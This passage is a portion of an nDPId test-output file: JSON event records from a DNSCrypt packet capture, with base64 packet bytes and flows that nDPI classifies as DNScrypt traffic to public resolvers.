AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00535{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":311,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":130,"flow_packet_id":1,"flow_first_seen":946739317462,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"178.216.201.222","src_port":52221,"dst_port":2053,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00505{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":312,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":131,"flow_packet_id":1,"flow_first_seen":946739317462,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"178.216.201.222","src_port":38594,"dst_port":2053,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02386{"flow_id":131,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":312,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739317,"pkt_ts_usec":462376,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXcwF8gAL0R2j0KAAABstjJ3pbCCAUGBKQEfSYBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAlzb2x0eXNpYWsDY29tAAAQAAEAAAAAAAAAAAAFwgAMBb4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00535{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":312,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":131,"flow_packet_id":1,"flow_first_seen":946739317462,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"178.216.201.222","src_port":38594,"dst_port":2053,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00449{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":313,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739317,"pkt_ts_usec":462379,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQwF4Aub0R\/xEKAAABstjJ3gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00196{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":313,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00449{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":314,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739317,"pkt_ts_usec":462388,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQwF8Aub0R\/xAKAAABstjJ3gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00196{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":314,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00501{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":315,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":132,"flow_packet_id":1,"flow_first_seen":946739317462,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"178.216.201.222","src_port":58740,"dst_port":2053,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01103{"flow_id":132,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":315,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739317,"pkt_ts_usec":462404,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIcwGBAAL0RvfwKAAABstjJ3uV0CAUCCD+NfSMBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAlzb2x0eXNpYWsDY29tAAAQAAEAAAAAAAAAAAABxgAMAcIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00531{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":315,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":132,"flow_packet_id":1,"flow_first_seen":946739317462,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"178.216.201.222","src_port":58740,"dst_port":2053,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00676{"flow_id":125,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":316,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739317,"pkt_ts_usec":463523,"pkt_caplen":234,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":234,"pkt_l4_len":200,"pkt":"ZmZmZmZmRERERERECABFAADcYmkAADoRvwewOO2rCgAAAQG7v3AAyNgssmOBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAlyZXNvbHZlcjEIZG5zY3J5cHQCZXUAABAAAcAMABAAAQAAAAAAfXxETlNDAAIAABl3+ykQSZujAz2k88UgiWZ8EW8WsV\/cZTbX4vJmZY7W5pQMpzujkuwlfjXc+3bckBxwziAxuzLgEVuJhZegpADIiVqOfVhh6bINcwjX2cKXslxwpVLP3wwY1fcQglCKacmJWo59WGHpX1OncV9Tp3FfVPjx"} +00669{"flow_id":129,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":317,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739317,"pkt_ts_usec":493097,"pkt_caplen":226,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":226,"pkt_l4_len":192,"pkt":"ZmZmZmZmRERERERECABFAADUfxoAADgRxYuy2MneCgAAAQgFz30AwELIfSWBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAlzb2x0eXNpYWsDY29tAAAQAAHADAAQAAEAAAAAAH18RE5TQwABAACUEmW5IqEpBOIJ6OaaARxYZGtpF\/IlhAtf26qHIkb2CzdApz2tTrsIcpPG9I9VOY64aWiKVSPR4fI2Zci4AowMZh1rbmzrBh4Ds7P4I2QNBDqhYpufqNWKNKJm6\/BuBFZmHWtubOsGHl9TOclfUznJX1SLSQ=="} +00669{"flow_id":127,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":318,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739317,"pkt_ts_usec":493564,"pkt_caplen":226,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":226,"pkt_l4_len":192,"pkt":"ZmZmZmZmRERERERECABFAADUfxkAADgRxYyy2MneCgAAAQgF6rsAwCeIfSeBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAlzb2x0eXNpYWsDY29tAAAQAAHADAAQAAEAAAAAAH18RE5TQwABAACUEmW5IqEpBOIJ6OaaARxYZGtpF\/IlhAtf26qHIkb2CzdApz2tTrsIcpPG9I9VOY64aWiKVSPR4fI2Zci4AowMZh1rbmzrBh4Ds7P4I2QNBDqhYpufqNWKNKJm6\/BuBFZmHWtubOsGHl9TOclfUznJX1SLSQ=="} +00669{"flow_id":128,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":319,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739317,"pkt_ts_usec":494919,"pkt_caplen":226,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":226,"pkt_l4_len":192,"pkt":"ZmZmZmZmRERERERECABFAADUfxsAADgRxYqy2MneCgAAAQgFzIQAwEXCfSSBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAlzb2x0eXNpYWsDY29tAAAQAAHADAAQAAEAAAAAAH18RE5TQwABAACUEmW5IqEpBOIJ6OaaARxYZGtpF\/IlhAtf26qHIkb2CzdApz2tTrsIcpPG9I9VOY64aWiKVSPR4fI2Zci4AowMZh1rbmzrBh4Ds7P4I2QNBDqhYpufqNWKNKJm6\/BuBFZmHWtubOsGHl9TOclfUznJX1SLSQ=="} +00670{"flow_id":130,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":320,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739317,"pkt_ts_usec":496294,"pkt_caplen":226,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":226,"pkt_l4_len":192,"pkt":"ZmZmZmZmRERERERECABFAADUfx0AADgRxYiy2MneCgAAAQgFy\/0AwEZLfSKBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAlzb2x0eXNpYWsDY29tAAAQAAHADAAQAAEAAAAAAH18RE5TQwABAACUEmW5IqEpBOIJ6OaaARxYZGtpF\/IlhAtf26qHIkb2CzdApz2tTrsIcpPG9I9VOY64aWiKVSPR4fI2Zci4AowMZh1rbmzrBh4Ds7P4I2QNBDqhYpufqNWKNKJm6\/BuBFZmHWtubOsGHl9TOclfUznJX1SLSQ=="} +00669{"flow_id":131,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":321,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739317,"pkt_ts_usec":496321,"pkt_caplen":226,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":226,"pkt_l4_len":192,"pkt":"ZmZmZmZmRERERERECABFAADUfx4AADgRxYey2MneCgAAAQgFlsIAwHuCfSaBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAlzb2x0eXNpYWsDY29tAAAQAAHADAAQAAEAAAAAAH18RE5TQwABAACUEmW5IqEpBOIJ6OaaARxYZGtpF\/IlhAtf26qHIkb2CzdApz2tTrsIcpPG9I9VOY64aWiKVSPR4fI2Zci4AowMZh1rbmzrBh4Ds7P4I2QNBDqhYpufqNWKNKJm6\/BuBFZmHWtubOsGHl9TOclfUznJX1SLSQ=="} +00669{"flow_id":132,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":322,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739317,"pkt_ts_usec":496650,"pkt_caplen":226,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":226,"pkt_l4_len":192,"pkt":"ZmZmZmZmRERERERECABFAADUfxwAADgRxYmy2MneCgAAAQgF5XQAwCzTfSOBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAlzb2x0eXNpYWsDY29tAAAQAAHADAAQAAEAAAAAAH18RE5TQwABAACUEmW5IqEpBOIJ6OaaARxYZGtpF\/IlhAtf26qHIkb2CzdApz2tTrsIcpPG9I9VOY64aWiKVSPR4fI2Zci4AowMZh1rbmzrBh4Ds7P4I2QNBDqhYpufqNWKNKJm6\/BuBFZmHWtubOsGHl9TOclfUznJX1SLSQ=="} +00497{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":323,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":133,"flow_packet_id":1,"flow_first_seen":946739317496,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"45.76.113.31","src_port":43224,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01103{"flow_id":133,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":323,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739317,"pkt_ts_usec":496723,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIcbsxAAL0R7dwKAAABLUxxH6jYAbsCCGFBZBkBAAABAAAAAAABATINZG5zY3J5cHQtY2VydANkbnMEc2VieQJpbwAAEAABAAAAAAAAAAAAAcgADAHEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00527{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":323,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":133,"flow_packet_id":1,"flow_first_seen":946739317496,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"45.76.113.31","src_port":43224,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00501{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":324,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":134,"flow_packet_id":1,"flow_first_seen":946739317496,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"45.76.113.31","src_port":55267,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02386{"flow_id":134,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":324,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739317,"pkt_ts_usec":496730,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXcbs0gAL0RChwKAAABLUxxH9fjAbsGBNdkZBYBAAABAAAAAAABATINZG5zY3J5cHQtY2VydANkbnMEc2VieQJpbwAAEAABAAAAAAAAAAAABcQADAXAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00531{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":324,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":134,"flow_packet_id":1,"flow_first_seen":946739317496,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"45.76.113.31","src_port":55267,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":325,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739317,"pkt_ts_usec":496749,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQbs0Aub0RLu8KAAABLUxxHwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 